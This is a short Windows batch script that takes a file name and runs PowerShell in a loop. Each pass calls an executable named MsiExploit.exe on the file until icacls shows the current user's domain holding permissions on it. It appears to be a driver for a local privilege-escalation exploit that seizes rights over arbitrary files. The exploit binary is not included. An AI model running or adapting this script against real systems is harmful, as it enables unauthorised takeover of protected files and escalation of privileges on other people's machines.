@echo OFF
IF %1.==. GOTO No1
set fileName=%1

REM PowerShell -Command "&{ $cmdOutput = icacls %fileName% | findstr "$env:USERDOMAIN" ; Write-Host "cmdOutput is  $cmdOutput" ; while ( [string]::IsNullOrEmpty($cmdOutput) ){ .\MsiExploit.exe %fileName% ;  $cmdOutput = icacls %fileName% | findstr "$env:USERDOMAIN" ; Write-Host "cmdOutput after is  $cmdOutput" } } "

if exist %fileName% (
    GOTO Exec
) else (
    GOTO No2
)

:Exec
    echo ON
    PowerShell -Command "&{ $cmdOutput = icacls %fileName% | findstr "$env:USERDOMAIN" ; while ( [string]::IsNullOrEmpty($cmdOutput) ){ .\MsiExploit.exe %fileName% ;  $cmdOutput = icacls %fileName% | findstr "$env:USERDOMAIN" } } "
@GOTO End

:No1
  @ECHO Missing file as parameter 
@GOTO End

:No2
  @ECHO file doesn't exist
@GOTO End

:End

